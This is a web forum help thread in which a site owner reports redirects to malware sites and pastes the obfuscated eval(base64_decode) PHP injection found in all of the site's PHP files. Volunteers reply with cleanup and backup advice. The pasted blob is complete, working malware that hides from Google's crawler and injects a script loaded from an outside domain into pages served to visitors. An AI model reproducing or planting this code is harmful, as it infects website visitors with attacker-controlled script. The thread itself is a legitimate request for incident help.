   Hello Everyone,

   I am the CEO of EMGN - Electronics, Movies and Gaming Network. We receive over 1500 unique visits a day and starting October 3 faced a major problem. This is more of a problem to our users who are faced with the risk of virus infection leading to EMGN's 5 year long reputation to crumble. We need help and we need it fast.

   Users begun to be redirected to a website which contains multiple Trojan horse viruses. The re-direction did not happen to all users, it happened to me on multiple occasions but not every time. Now, I'm not too sure if the hacked code is the cause of the problem.

   What happened was, starting Oct. 3 ALL PHP files on EMGN were injected with the following code:

   eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZSIpKXsgcmV0dXJuIGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJbWgwZEhBNkx5OXpkMlZsY0hOMFlXdGxjMkZ1WkdOdmJuUmxjM1J6YVc1bWJ5NWpiMjB2YW5NdWNHaHdQM005TVNJK1BDOXpZM0pwY0hRKyIpOyAgICAgIH0gICAgICByZXR1cm4gIiI7ICAgICB9ICAgIH0gICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpeyAgICAgZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7ICAgICAgJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTsgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyAgICAgICRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDsgICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPUB1bnBhY2soJ3YnLHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDEwLDIpKTsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj0kUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCWzFdOyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjE2KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7ICAgICAgfSAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpOyAgICAgIGlmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7ICAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9JFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QzsgICAgICB9ICAgICAgcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7ICAgICB9ICAgIH0gICAgZnVuY3Rpb24gbXJvYmgoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qil7ICAgICBIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTsgICAgICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7ICAgICAgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSkpeyAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxcL2JvZHlbXlw+XSpcPikvc2knLGdtbCgpLiJcbiIuJyQxJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKTsgICAgIH1lbHNleyAgICAgIHJldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpOyAgICAgfSAgICB9ICAgIG9iX3N0YXJ0KCdtcm9iaCcpOyAgIH0gIH0="));?>

   This is present on EVERY SINGLE php file. I have begun to remove the code which is a pretty easy job. The question is, how did it get there? Is there a massive security hole on EMGN that is waiting to be tapped into? Someone please explain in detail what on earth is going on? Please.

   Thanks,

   The redirection is still occurring. It happened to me a few minutes ago - again to a virus infected website. Can someone decode the eval code for me?

   Don't bump. Seriously, you'll just annoy the volunteers.

   You're going about it completely wrong: it doesn't matter what the code is, what matters is that you've been hacked and you need to have your blog deloused.

   Go to http://sitecheck.sucuri.net/scanner/ and put your URL in. You'll get a good report of how badly you are hacked.

   Give these a read (links courtesy of Esmi).

   After you've read through that, you want to take a backup of everything and put it somewhere safe.

   Once you've cleaned up and are satisfied, make another fresh backup as well of the clean blog. The backup is your friend and should be respected. It will put you right where you were incase the Really Bad Thing(tm) happens.
